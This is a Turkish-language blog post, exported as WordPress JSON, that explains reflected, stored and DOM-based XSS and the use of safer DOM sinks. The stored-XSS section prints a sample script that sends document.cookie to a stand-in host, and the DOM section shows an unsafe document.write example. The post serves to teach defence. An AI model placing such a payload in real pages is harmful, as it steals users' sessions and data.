﻿
{"id":15551,"date":"2020-04-29T20:28:54","date_gmt":"2020-04-29T20:28:54","guid":{"rendered":"https:\/\/www.gencayyildiz.com\/blog\/?p=15551"},"modified":"2020-04-29T20:28:54","modified_gmt":"2020-04-29T20:28:54","slug":"cross-site-scripting-xss","status":"publish","type":"post","link":"https:\/\/www.gencayyildiz.com\/blog\/cross-site-scripting-xss\/","title":{"rendered":"CROSS Site Scripting (XSS)"},"content":{"rendered":"<div id=\"fb-root\"><\/div>\n<p>Merhaba,<\/p>\n<p>Bir web uygulamas\u0131, yay\u0131n hayat\u0131 boyunca yo\u011funluk olarak kullan\u0131c\u0131lar taraf\u0131ndan amac\u0131na d\u00f6n\u00fck gelen taleplere kar\u015f\u0131l\u0131k hizmetini sunarken bunlar\u0131n yan\u0131nda amac\u0131n d\u0131\u015f\u0131nda uygulamay\u0131 teste tabi tutmak isteyen iyi yahut k\u00f6t\u00fc niyetli kimi kullan\u0131c\u0131lar taraf\u0131ndan da yarat\u0131lan me\u015fguliyetlerle ilgilenmek mecburiyetinde kalacakt\u0131r. Bu me\u015fguliyetler, genellikle uygulaman\u0131n d\u0131\u015f d\u00fcnyaya kar\u015f\u0131 bir zafiyeti yani g\u00fcvenlik a\u00e7\u0131\u011f\u0131 olup olmad\u0131\u011f\u0131na dair merakl\u0131 olan kullan\u0131c\u0131lar taraf\u0131ndan yap\u0131lan, benim nazar\u0131mda &#8216;manevratik deneme&#8217; halk\u0131n deyimiyle ise &#8216;sald\u0131r\u0131&#8217; diye nitelendirilen fiiliyatlar olacakt\u0131r. \u0130\u015fte bu i\u00e7eri\u011fimizde web sunucular\u0131ndan ziyade client taraf\u0131nda ger\u00e7ekle\u015ftirilen ve en yayg\u0131n g\u00fcvenlik a\u00e7\u0131klar\u0131ndan biri olan XSS sald\u0131r\u0131s\u0131 \u00fczerine konu\u015fuyor olaca\u011f\u0131z.<\/p>\n<h3>CROSS Site Scripting(XSS) Nedir?<\/h3>\n<p>Uygulama \u00fczerinde kullan\u0131c\u0131lar ile ger\u00e7ekle\u015ftirilen etkile\u015fim s\u00fcrecinde \u00e7ift tarafl\u0131 veri ak\u0131\u015f\u0131n\u0131n s\u00f6z konusu oldu\u011fu durumlarda kullan\u0131c\u0131lardan gelen verilerin tam teferruatl\u0131 kontrol edilmemesi sonucu k\u00f6t\u00fc niyetli ki\u015filer taraf\u0131ndan taray\u0131c\u0131da \u00e7al\u0131\u015facak zararl\u0131 kodlar\u0131n uygulamaya dahil edilmesi ve b\u00f6ylece her t\u00fcrl\u00fc k\u00f6t\u00fc amaca dair imkanlara eri\u015filmesine dayanan bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131d\u0131r.<\/p>\n<p>Bu g\u00fcvenlik a\u00e7\u0131\u011f\u0131na dair s\u00f6yleyenebilecek en g\u00fcl\u00fcn\u00e7 husus ise sald\u0131r\u0131 esnas\u0131nda uygulaman\u0131n de\u011fil o uygulamaya g\u00fcvenen kullan\u0131c\u0131lar\u0131n hedef al\u0131nmas\u0131 ve b\u00f6ylece k\u00f6t\u00fc niyetli ki\u015finin hedef ki\u015fiye olan eri\u015fiminde web uygulamas\u0131n\u0131 bir arac\u0131 olarak kullanmas\u0131d\u0131r.<\/p>\n<h3>Hangi Durumlarda Bu Sald\u0131r\u0131 Ger\u00e7ekle\u015fir?<\/h3>\n<p>Genel kan\u0131, yayg\u0131n olarak kullan\u0131c\u0131dan bir form arac\u0131l\u0131\u011f\u0131yla al\u0131nan verinin yeterli kontrol edilmeksizin kullan\u0131lmas\u0131 neticesinde kar\u015f\u0131la\u015f\u0131ld\u0131\u011f\u0131 durumlarda cereyan etti\u011fi \u015feklindedir. Halbuki bu asl\u0131nda hi\u00e7te bu kadar basit bir sald\u0131r\u0131 de\u011fildir! Farkl\u0131 kanallar ile \u00e7al\u0131\u015fmakta olan bir sistemi d\u00fc\u015f\u00fcn\u00fcrsek e\u011fer, platform farkl\u0131l\u0131klar\u0131ndan dolay\u0131 veri do\u011frulama ve de\u011ferlendirme s\u00fcre\u00e7leri de\u011fi\u015fkenlik g\u00f6steren uygulamalar b\u00fct\u00fcn\u00fcnden beslenen bir uygulaman\u0131n bu sald\u0131r\u0131ya form durumlar\u0131na nazaran daha a\u00e7\u0131k oldu\u011funu s\u00f6yleyebiliriz.<\/p>\n<p>\u00d6rne\u011fin; mobil kanaldan gelen bir girdinin \u00fczerinde yap\u0131lacak do\u011frulama y\u00f6ntemleri mobil platformunun zarar\u0131na sebep olabilecek durumlar\u0131 de\u011ferlendirmek \u00fczerine olacakt\u0131r. Dolay\u0131s\u0131yla buradan bir tehdit olarak alg\u0131lanmadan ge\u00e7ebilen zararl\u0131 kod, web taray\u0131c\u0131s\u0131 yahut tetikleyici unsur olabilecek sistemlerde \u00e7a\u011fr\u0131ld\u0131\u011f\u0131nda devreye girebilir ve k\u00f6t\u00fc niyetli ki\u015finin dolayl\u0131 yoldan amac\u0131na ermesini sa\u011flayabilir. Aksi taktirde ilgili sald\u0131r\u0131 s\u00f6ylendi\u011fi gibi sadece form \u00fczerinden yap\u0131l\u0131yor olsayd\u0131 mevcut g\u00fcvenlik \u00f6nlemleri kar\u015f\u0131s\u0131nda \u00e7okta \u015fans\u0131 olmayaca\u011f\u0131ndan dolay\u0131 esamesinin okunmas\u0131na bile gerek kalmayacakt\u0131.<\/p>\n<h3>Zararlar\u0131 Ne Olabilir?<\/h3>\n<p>XSS sald\u0131r\u0131s\u0131 ilgili web uygulamas\u0131n\u0131n kullan\u0131c\u0131 kitlesini hedef ald\u0131\u011f\u0131ndan dolay\u0131 uygulama a\u00e7\u0131s\u0131ndan maliyetli bir zarara yahut veri kayb\u0131na sebep olmayacakt\u0131r. Lakin uygulaman\u0131n \u00fczerinden kullan\u0131c\u0131lar\u0131n cookie veya local\/session storage verilerini k\u00f6t\u00fc niyetli ki\u015filere ula\u015ft\u0131rabilece\u011finden dolay\u0131 veri s\u0131zd\u0131r\u0131lmas\u0131na sebep olabilmekte ve bunun neticesinde g\u00f6z ard\u0131 edilmeyecek derecede ki\u015fisel verilerin \u00e7al\u0131nmas\u0131ndan, kullan\u0131c\u0131 hesaplar\u0131nda yarat\u0131labilecek veri kay\u0131plar\u0131na kadar ciddi sorunlarla kar\u015f\u0131la\u015f\u0131lmas\u0131na sebebiyet verebilecektir.<\/p>\n<h3>Sald\u0131r\u0131 Nas\u0131l Ger\u00e7ekle\u015ftirilir?<\/h3>\n<p><a href=\"https:\/\/www.gencayyildiz.com\/blog\/wp-content\/uploads\/2020\/04\/Asp.NET-Core-CROSS-Site-Scripting-XSS.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.gencayyildiz.com\/blog\/wp-content\/uploads\/2020\/04\/Asp.NET-Core-CROSS-Site-Scripting-XSS-300x230.png\" alt=\"Asp.NET Core - CROSS Site Scripting (XSS)\" width=\"300\" height=\"230\" class=\"alignleft size-medium wp-image-15584\" srcset=\"https:\/\/www.gencayyildiz.com\/blog\/wp-content\/uploads\/2020\/04\/Asp.NET-Core-CROSS-Site-Scripting-XSS-300x230.png 300w, https:\/\/www.gencayyildiz.com\/blog\/wp-content\/uploads\/2020\/04\/Asp.NET-Core-CROSS-Site-Scripting-XSS.png 600w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\nK\u00f6t\u00fc niyetli kullan\u0131c\u0131(hacker) web uygulamas\u0131na bir \u015fekilde zararl\u0131 komutlar\u0131 enjekte eder. Kurban web uygulamas\u0131n\u0131 ziyaret etti\u011fi anda zararl\u0131 komutlar tetiklenir ve hedeflenen veriler(cookie, session\/local storage, token vs.) k\u00f6t\u00fc niyetli kullan\u0131c\u0131ya g\u00f6nderilir.<\/p>\n<p>Teoride bu \u015fekilde ceyeran eden sald\u0131r\u0131 esas\u0131nda <strong>Reflected XSS<\/strong>, <strong>Stored (Persistent) XSS<\/strong> ve <strong>DOM-Based XSS<\/strong> olmak \u00fczere \u00fc\u00e7 \u015fekilde ger\u00e7ekle\u015ftirilir. <\/p>\n<ul>\n<li><strong>Reflected XSS<\/strong><br \/>\nAnl\u0131k olarak ger\u00e7ekle\u015ftirilen ve web sitesinde o anda zararl\u0131 JavaScript kodunun \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131n\u0131 gerektiren ve bu y\u00fczden <u>genellikle<\/u> sadece sald\u0131ran ki\u015fi taraf\u0131ndan g\u00f6r\u00fclebilen sald\u0131r\u0131d\u0131r. Genellikledir \u00e7\u00fcnk\u00fc web socket tarz\u0131 geli\u015ftirilen yay\u0131n ak\u0131\u015f\u0131 yahut mesajla\u015fma tarz\u0131 uygulamalarda zararl\u0131 kod o andaki t\u00fcm kullan\u0131c\u0131lar\u0131 etkileyecek f\u0131rsat\u0131 yakalayabilir. Lakin zararl\u0131 kod veritaban\u0131na kaydedilmedi\u011finden dolay\u0131d\u0131r ki, XSS sald\u0131r\u0131 t\u00fcrleri i\u00e7erisinde en az hasar verme oran\u0131na sahip olan sald\u0131r\u0131 \u00e7e\u015fitidir.\n<\/li>\n<li><strong>Stored (Persistent) XSS<\/strong><br \/>\nKullan\u0131c\u0131dan al\u0131nan girdi neticesinde zararl\u0131 kodun veritaban\u0131na kaydedilmesiyle kal\u0131c\u0131 hale getirilerek ger\u00e7ekle\u015ftirilen sald\u0131r\u0131d\u0131r. Dolay\u0131s\u0131yla di\u011fer kullan\u0131c\u0131lar taraf\u0131ndan ilgili veritaban\u0131na yap\u0131lacak sorgulamalar neticesinde gelecek olan veriler aras\u0131na s\u0131zd\u0131r\u0131lm\u0131\u015f zararl\u0131 kod devreye girerek b\u00fcy\u00fck bir veri s\u0131z\u0131nt\u0131s\u0131na sebebiyet verebilmektedir. O y\u00fczden kimi kesimler taraf\u0131ndan XSS sald\u0131r\u0131lar\u0131n\u0131n en tehlikelisi oldu\u011fu s\u00f6ylenmektedir.<\/p>\n<p>Genellikle forumlar, blog sitelerinin ziyaret\u00e7i sayfalar\u0131 yahut haber sitelerindeki yorum k\u0131s\u0131mlar\u0131 gibi kullan\u0131c\u0131dan gelen girdilerin direkt olarak veritaban\u0131na yans\u0131t\u0131ld\u0131\u011f\u0131 alanlarda bu sald\u0131r\u0131 s\u00f6z konusu olabilmektedir. \u0130lgili web sitesinin geli\u015ftiricisi taraf\u0131ndan girdi kontrol\u00fc do\u011fru bir \u015fekilde ger\u00e7ekle\u015ftirilmedi\u011fi taktirde ilgili sayfaya eri\u015fim sa\u011flayan t\u00fcm kullan\u0131c\u0131lar\u0131 b\u00fcy\u00fck riskle kar\u015f\u0131 kar\u015f\u0131ya b\u0131rakt\u0131\u011f\u0131n\u0131 ifade etmekte fayda vard\u0131r.<\/p>\n<p>\u00d6rne\u011fin a\u015fa\u011f\u0131daki zararl\u0131 kod numunesini incelersek;<\/p>\n<pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\r\n&lt;script&gt;\r\n    new Image().src = &quot;https:\/\/www.example.com?cookiecek=&quot; + document.cookie;\r\n&lt;\/script&gt;\r\n<\/pre>\n<p>sayfaya yerle\u015ftirilen b\u00f6yle bir kodun belirtilen adrese t\u00fcm cookie de\u011ferlerini ta\u015f\u0131mas\u0131 demek phishing(\u015fifre doland\u0131r\u0131c\u0131l\u0131\u011f\u0131\/e-doland\u0131r\u0131c\u0131l\u0131k) sald\u0131r\u0131lar\u0131na inan\u0131lmaz kap\u0131 aralamas\u0131 demektir.\n<\/li>\n<li><strong>DOM-Based XSS<\/strong><br \/>\nDOM(Document Object Model)&#8217;da meydana gelen sald\u0131r\u0131d\u0131r. Stored ve Reflected XSS sald\u0131r\u0131lar\u0131nda XSS ata\u011f\u0131n\u0131 g\u00f6rebilmek m\u00fcmk\u00fcnken DOM tabanl\u0131 XSS sald\u0131r\u0131lar\u0131nda m\u00fcmk\u00fcn de\u011fildir. Ba\u015fka bir deyi\u015fle DOM tabanl\u0131 XSS sald\u0131r\u0131s\u0131n\u0131n izlerine runtime yahut DOM d\u0131\u015f\u0131nda ba\u015fka bir yerde rastlayamazs\u0131n\u0131z. Ayr\u0131ca Reflected ve Stored XSS sald\u0131r\u0131lar\u0131na nazaran DOM tabanl\u0131 sald\u0131r\u0131larda #(hash) karakteriyle zararl\u0131 kodlar ta\u015f\u0131naca\u011f\u0131 i\u00e7in ilgili karaktere dair sunucu tarafl\u0131 bir de\u011ferlendirme yap\u0131lamayaca\u011f\u0131ndan dolay\u0131 server-side filtrelemeleride ger\u00e7ekle\u015ftirilememektedir. \u00c7\u00fcnk\u00fc # karakterinden sonra yaz\u0131lan hi\u00e7bir \u015fey HTTP trafi\u011finde g\u00f6z\u00fckmemekte dolay\u0131s\u0131yla server&#8217;a g\u00f6nderilmemektedir. Bu durumda \u00f6zellikle Stored&#8217;a nazaran i\u015flevsel a\u00e7\u0131dan daha tehlikeli bir sald\u0131r\u0131 oldu\u011funu g\u00f6stermektedir.<\/p>\n<p>DOM tabanl\u0131 XSS sald\u0131r\u0131s\u0131n\u0131 engelleyebilmek i\u00e7in \u00f6zellikle y\u00fcksek seviyeli bir client tabanl\u0131 do\u011frulama ger\u00e7ekle\u015ftirilmelidir. Aksi taktirde server-side&#8217;da yap\u0131lan hi\u00e7bir validasyon sayfa davran\u0131\u015f\u0131n\u0131n k\u00f6t\u00fc niyetle exploit edilmesini engelleyemeyecektir.<\/p>\n<p>Ayriyetten di\u011fer sald\u0131r\u0131lara nazaran bu sald\u0131r\u0131da <em>Source(Kaynak)<\/em> ve <em>Sink(Al\u0131c\u0131)<\/em> olmak \u00fczere iki terminoloji s\u00f6z konusudur.<\/p>\n<blockquote><p><strong>Kullan\u0131c\u0131dan(source\/kaynak) al\u0131nan girdi, bir y\u00fcr\u00fctme noktas\u0131na (sink\/al\u0131c\u0131) gider.<\/strong><\/p><\/blockquote>\n<p>Buradan, kullan\u0131c\u0131 taraf\u0131ndan kontrol edilebilen bir kayna\u011f\u0131n tehlikeli bir al\u0131c\u0131da kullan\u0131lmas\u0131n\u0131n DOM tabanl\u0131 sald\u0131r\u0131ya sebebiyet verece\u011fi kanaati \u00e7\u0131kar\u0131labilmektedir.<\/p>\n<pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\r\n&lt;script&gt;\r\n    document.write(&quot;&lt;b&gt;Ge\u00e7erli URL&lt;\/b&gt; : &quot; + document.baseURI);\r\n&lt;\/script&gt;\r\n<\/pre>\n<p>Yukar\u0131daki \u00f6rnek kodu ele al\u0131rsak e\u011fer &#8216;document.baseURI&#8217; kaynak iken, &#8216;document.write&#8217; al\u0131c\u0131d\u0131r. <\/p>\n<p>A\u015fa\u011f\u0131da sorun olu\u015fturabilecek genel ge\u00e7er kaynak ve al\u0131c\u0131 listesini inceleyebilirsiniz.<br \/>\n<u>Genel Al\u0131c\u0131lar<\/u><\/p>\n<ul>\n<li>document.write<\/li>\n<li>(element).innerHTML<\/li>\n<\/ul>\n<p><u>Genel Kaynaklar<\/u><\/p>\n<ul>\n<li>document.URL<\/li>\n<li>document.documentURI<\/li>\n<li>location.href<\/li>\n<li>location.search<\/li>\n<li>location.*<\/li>\n<li>window.name<\/li>\n<li>document.referrer<\/li>\n<\/ul>\n<p><strong><em style=\"color:purple;\">DOM XSS&#8217;den Korun\u0131n Yolu Nedir?<\/em><\/strong><br \/>\nDOM XSS&#8217;den korunmak i\u00e7in en uygun \u00e7\u0131kt\u0131(sink) metodunu kullanmak gerekmektedir. Misal olarak; &#8216;innerHTML&#8217; yerine &#8216;innerText&#8217; ya da &#8216;textContent&#8217; metotlar\u0131 tercih edilebilir.<\/p>\n<pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\r\n&lt;b&gt;Ge\u00e7erli URL: &lt;\/b&gt; &lt;span id=&quot;contentholder&quot;&gt;&lt;\/span&gt;\r\n&lt;script&gt;\r\n    document.getElementById(&quot;contentholder&quot;).textContent = document.baseURI;\r\n&lt;\/script&gt;\r\n<\/pre>\n<p>Bu kod ise bir \u00f6nceki \u00f6rnektekiyle ayn\u0131 i\u015flemi ger\u00e7ekle\u015ftirmekte lakin DOM XSS&#8217;e kar\u015f\u0131 daha korunakl\u0131 i\u015flevsellik g\u00f6stermektedir.\n<\/li>\n<\/ul>\n<p>\u0130lgilenenlerin faydalanmas\u0131 dile\u011fiyle&#8230;<br \/>\nSonraki yaz\u0131lar\u0131mda g\u00f6r\u00fc\u015fmek \u00fczere&#8230;<br \/>\n\u0130yi \u00e7al\u0131\u015fmalar&#8230;<\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>Merhaba, Bir web uygulamas\u0131, yay\u0131n hayat\u0131 boyunca yo\u011funluk olarak kullan\u0131c\u0131lar taraf\u0131ndan amac\u0131na d\u00f6n\u00fck gelen taleplere kar\u015f\u0131l\u0131k hizmetini sunarken bunlar\u0131n yan\u0131nda amac\u0131n d\u0131\u015f\u0131nda uygulamay\u0131 teste tabi tutmak isteyen iyi yahut k\u00f6t\u00fc niyetli kimi kullan\u0131c\u0131lar taraf\u0131ndan&#46;&#46;&#46;<!-- AddThis Advanced Settings generic via filter on get_the_excerpt --><!-- AddThis Share Buttons generic via filter on get_the_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":15584,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3102,3103],"tags":[2679,3478,3479,3476,3485,3484,3483,3480,3481,3482,3477],"class_list":["post-15551","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-asp-net-core","category-asp-net-core-3-1","tag-asp-net-core","tag-asp-net-core-cross-site-scripting","tag-asp-net-core-xss","tag-cross-site-scripting","tag-dom-xss","tag-dom-based-xss","tag-persistent-xss","tag-reflected-xss","tag-stored-persistent-xss","tag-stored-xss","tag-xss"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/www.gencayyildiz.com\/blog\/wp-json\/wp\/v2\/posts\/15551","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.gencayyildiz.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gencayyildiz.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gencayyildiz.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gencayyildiz.com\/blog\/wp-json\/wp\/v2\/comments?post=15551"}],"version-history":[{"count":51,"href":"https:\/\/www.gencayyildiz.com\/blog\/wp-json\/wp\/v2\/posts\/15551\/revisions"}],"predecessor-version":[{"id":15604,"href":"https:\/\/www.gencayyildiz.com\/blog\/wp-json\/wp\/v2\/posts\/15551\/revisions\/15604"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.gencayyildiz.com\/blog\/wp-json\/wp\/v2\/media\/15584"}],"wp:attachment":[{"href":"https:\/\/www.gencayyildiz.com\/blog\/wp-json\/wp\/v2\/media?parent=15551"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gencayyildiz.com\/blog\/wp-json\/wp\/v2\/categories?post=15551"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gencayyildiz.com\/blog\/wp-json\/wp\/v2\/tags?post=15551"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}